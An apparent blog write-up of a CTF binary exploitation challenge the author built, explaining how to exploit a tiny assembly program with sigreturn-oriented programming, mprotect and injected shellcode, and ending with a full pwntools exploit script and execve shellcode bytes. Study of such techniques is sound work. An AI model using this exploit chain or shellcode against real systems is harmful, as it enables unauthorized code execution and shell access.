Sick rop : Example challenge

trustie_rity
3 min readDec 20, 2022

--

Foothold

In these article i am going to solve a challenge i prepared for my folks for the urchinsec hackathon 2022. We are going to use SROP to solve the binary exploitation challenge

Deep Dive

The assembly source code looks like this:

section    .text
global _start
_start:
push _write
mov rdi,0
mov rsi,rsp
sub rsi,8
mov rdx,300
mov rax,0
syscall
ret
_write:
push _exit
mov rsi,rsp
sub rsi,8
mov rdx,8
mov rax,1
mov rdi,1
syscall
ret
_exit:
mov rax,0x3c
syscall

All it does is read 300 bytes from stdin to the stack, print 8 bytes from the stack, then exit. The vulnerability is trivial, we are reading 300 bytes to [RSP-8] and thus overflowing after only 8bytes.

So how do you exploit it? Both ASLR and NX are enabled, which means we can’t execute shellcode from the stack. ASLR can again be defeated by an address leak. The binary doesn’t use libc so we can’t use the ret2libc method. You can always try and build your own ROPChain or generate one, but unfortunately the program is way too small and doesn’t provide enough gadgets. Here is how to exploit it with SROP.

We need two specific gadgets to be able to use this technique:

  • a sigreturn syscall gadget (eax=0xf;syscall)
  • a syscall return gadget (syscall;ret)

There is a syscall gadget in the program, but no sigreturn syscall. Good thing there is an easy way to control the eax register and return. The read syscall stores the amount of bytes read in the eax register after a successful read operation. That means we can control the eax register with a value from 0–300 including the sigreturn syscall number, which is 15 or 0xf. Now we have everything we need and can start building our exploit.

The payload will look like this:

  1. 8 bytes to overflow
  2. address of read gadget
  3. address of syscall;ret gadget
  4. Sigreturn Frame

Once we reach the 2nd read, we simply send 15 bytes to control eax and trigger the sigreturn syscall.

The sigreturn allows us to control every register. The layout will look like this:

rax = 0xa -> memset syscall (mprotect())
rdi = 0x400000 -> memory to adjust
rsi = 0x1000 -> size
rdx = 0x7 -> mode (rwx)
rsp = entrypoint -> new stack
rip = syscall_ret -> where we will continue after sigreturn

This will set up a mprotect syscall to mark the 0x400000 memory area executable and writable to allow shellcode execution at a known address. Then we shift the stack to that area so we can easily write data to it. By setting rsp to the address containing the program entrypoint 0x400018we ensure normal controlflow of the program since it will return to the address laying on top of the stack, the program entrypoint. It’s best to step through it in gdb and observe exactly what is happening.

Now that we have an executable stack again we can exploit the bufferoverflow as usual with a simple payload like this:

  1. 8 bytes to overflow
  2. RSP+8 (our shellcode address)
  3. shellcode

If you want to learn more about SROP I highly recommend reading the post i made before this here ..
Challenge related files will be available on my github CTF repo soon enough
Exploit Code

#!/usr/bin/python3
# Author : trustie_rity
from pwn import *
context.binary = elf = ELF("./chall")
context.log_level = 'info'
p = remote('localhost',1337)
# values necessary
syscall_ret = 0x40009b
read = 0x400091
writable = 0x400000
new_ret = 0x400018 # Program Entrypoint

# payload
payload = 'A'*8 # 8 is the offset to rip
payload += p64(read) # for reading 15 bytes , saves 15 to rax
payload += p64(syscall_ret) # syscall when rax holds 15 results to a sigreturn call

# our fake frame
frame = SigreturnFrame()
frame.rax = 0xa
frame.rdi = writable
frame.rsi = 0x1000
frame.rdx = 0x7
frame.rsp = new_ret # setting new rsp , ie kind of our new stack
frame.rip = syscall_ret
payload += str(frame)

# sending , we are using send() to not include a new line or space to our input
p.send(payload)
payload = 'B'*0xf # sigret
p.send(payload)

# shellcode
# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = ""
shellcode += "\x31\xc0\x48\xbb\xd1\x9d\x96"
shellcode += "\x91\xd0\x8c\x97\xff\x48\xf7"
shellcode += "\xdb\x53\x54\x5f\x99\x52\x57"
shellcode += "\x54\x5e\xb0\x3b\x0f\x05"
payload = 'A'*8
payload += p64(new_ret+8)
payload += shellcode
p.send(payload)
p.interactive()

we get a shell :)
Follow me for more :>

--

--